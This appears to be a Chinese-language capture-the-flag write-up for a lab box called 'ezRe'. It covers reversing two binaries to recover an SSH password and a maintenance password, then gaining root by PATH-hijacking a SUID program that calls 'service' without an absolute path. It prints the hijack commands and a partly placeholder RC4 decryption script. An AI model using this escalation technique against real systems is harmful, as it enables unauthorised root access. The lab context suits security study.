

ezRe_白色彩铅

攻击路线：dev里放了一个re，逆向出Ryan的ssh密码sunninggirl；/usr/bin/super_checker你想出来root密码，利用PATH劫持提权

```
from Crypto.Cipher import ARC4

key = b"welcome"

# 补齐18字节（你可以根据实际内存 dump 调整）
cipher = bytes([
    0x1D, 0xE1, 0x20, 0x92, 0xC4, 0x35, 0xD7, 0x8C,
    0x55, 0x91, 0x5E, 0xFA, 0x78, 0x8E, 0xB2, 0x96,
    0x00, 0x00 # ⚠️ 这里需要你补真实值
])

rc4 = ARC4.new(key)
flag = rc4.decrypt(cipher)

print(flag)
```

ai了一个逆向脚本，跑出来应该是Ryan:sunninggirl直接连上ssh

find / -perm -4000 -type f 2>/dev/null找到了第二个re

```
Ryan@ezRe:/var/spool$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/super_checker
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
Ryan@ezRe:/var/spool$ /usr/bin/super_checker
--- Admin Maintenance Console ---
Enter Maintenance Password: SUNNINGGIRL
[-] Access Denied! Invalid credentials.
```

把super_checker拿出来逆向，逐字节XOR 0x5A，得到密码r00t_p@ss

```
Ryan@ezRe:/var/spool$ /usr/bin/super_checker
--- Admin Maintenance Console ---
Enter Maintenance Password: r00t_p@ss
[+] Access Granted! Running system maintenance...
sh: 1: service: not found
```

找不到service, 看re

```
int sub_1240()
{
    puts("[+] Access Granted! Running system maintenance...");
    setuid(0);
    setgid(0);
    return system("service --status-all");
}
```

没有写绝对路径, 在tmp里写一个

```
cd /tmp
echo '/bin/sh' > service
chmod +x service
export PATH=/tmp:$PATH
Ryan@ezRe:/tmp$ /usr/bin/super_checker
--- Admin Maintenance Console ---
Enter Maintenance Password: r00t_p@ss
[+] Access Granted! Running system maintenance...
# script /dev/null -c bash
Script started, file is /dev/null
root@ezRe:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(Ryan)
```